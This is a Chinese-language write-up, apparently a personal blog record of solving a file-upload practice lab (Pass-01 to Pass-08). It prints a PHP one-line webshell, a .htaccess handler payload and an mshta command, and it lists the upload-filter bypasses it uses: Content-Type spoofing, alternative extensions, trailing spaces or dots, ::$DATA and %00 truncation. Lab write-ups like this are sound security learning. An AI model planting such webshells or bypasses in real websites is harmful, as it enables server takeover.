Pass-01
看来是需要上传一个含有一句话木马的文件
这是一段JS代码,发现限制了文件上传的类型,有jpg、png、gif
因为js代码是在客户端执行的,所以我在F12后的设置中的高级设置里面,禁用了js代码,然后实现php文件上传
php文件代码:<?php @eval($_POST['a']); ?>
假设我们知道这个1.php文件存在upload目录底下,然后我们用Cknife去连接,获得webshell
总结:利用JS禁用绕过文件类型限制,通过上传的一句话木马(前提知道这个木马文件的目录),利用Cknife连接获得webshell
Pass-02
先查看源码,发现检测文件类型,则想到利用抓包修改content-type绕过检测。
$_FILES['upload_file']['type'] == 'image/jpeg'
开启代理,用BP抓包
选择Action-Send To Repeater,修改content-type为image/jpeg,点击go,成功上传
打开Cknife,找到1.php,输入a,进行木马连接
总结:利用抓包修改content-type来绕过文件类型检测
Pass-03
第三关比较有意思,让我难过的今天有了一点色彩。
第一步,依然查看源码。
分析结果:
- 过滤了.asp .aspx .php .jsp
- 删除末尾的点 `目的在于使.php.不能绕过`
- 转换为小写 `目的在于使.php不能绕过`
- 收尾去空 `目的在于使php+空格不能绕过`
- 提取后缀名:strrchr(),查找字符在指定字符串中`从左面开始的最后一次出现`的位置
第二步,利用phtml绕过
在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.phps”或“.phtml”作为后缀。和ASP一样。
将1.phtml上传发现无法用木马连接,后来发现是因为Apache配置问题
打开Apache/conf/httpd.conf,将红框句子的注释去掉
后续就是之前重复的上传木马,不再赘述。
总结:
- 对于一些函数的认识,比如strrchr(),其实可以有%00截断漏洞(不知为何不能用)
- 可以利用phps、phtml、html绕过单纯后缀名检测,前提是Apache配置文件设置正确
Pass-04
先传.htaccess,内容为SetHandler application/x-httpd-php
再传一个2.png,里面内容还是一句话木马。因为有上面的.htaccess,2.png会被解析成php。具体操作未能实现,因为linux虚拟机的apache配置有些复杂。所以不能实现.htaccess上传
Pass-05
查看源代码发现大小写绕过没有被检测
但这次发现了一个好玩的弹窗命令,以后拿到shell了之后就可以表白用
mshta vbscript:msgbox("contents",64,"title")(window.close)
Pass-06
第一步:查看源码
- 没有空格绕过
- windows底下直接加空格系统会自动删除
- 想到用bp抓包修改
第二步:用bp绕过
- 在2.php后加一个空格,然后go
第三步:菜刀连接
总结
想到了空格绕过,但是一开始手工做,发现无法绕过。懂了windows自动加空格的原理后没有想到自己手工加也是在windows底下,自然会自动删去然后上传时无法绕过。用bp是后来看教程的,觉得思考还是很必要的。有些东西自己第一手做出来,总比看别人的要好。难过ing...
Pass-07
和上一题差不多,只是尾部加的不是空格,是点,然后用bp绕过
Pass-08
- 发现没有绕过::$DATA
- 菜刀连接
总结
这道题,我遗漏了::$DATA,看了教程才懂。原因是我没懂为什么这个能绕过,查了百度也没懂,不知道谁能解答...
文件名绕过总结
- 后缀名后加空格利用bp添加,在windows底下适用
- 后缀名后加点号利用bp添加,在windows底下适用
- 后缀名后加::$DATA利用bp添加,在windows底下适用
- 后缀名大小写绕过bp或手工都可,简单通用
- 后缀名名单绕过,如phtml、php5、phps、.htaccess、html等
- 双重后缀名%00截断,如.php%00.jpg,暂时未成功过